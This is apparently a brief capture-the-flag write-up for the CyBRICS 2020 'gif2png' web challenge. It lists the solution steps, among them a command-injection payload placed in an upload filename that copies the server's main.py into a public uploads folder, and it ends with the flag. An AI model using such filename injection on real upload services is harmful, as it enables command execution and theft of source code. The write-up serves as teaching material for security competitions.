Tags: web 

Rating:

## Solution

1. Generate uid (upload valid gif and check url part after /result/)

2. Build payload `'$(cp main.py uploads$(pwd | cut -c1)GENERATED_UID$(pwd | cut -c1))'.gif`

3. In new upload request set `filename="BUILT_PAYLOAD"`

4. Check url `http://gif2png-cybrics2020.ctf.su/uploads/GENERATED_UID/main.py` and find `ffLaG`

flag is `cybrics{imagesaresocoolicandrawonthem}`

Original writeup (https://github.com/wetox-team/writeup/tree/master/cybrics_2020/gif2png).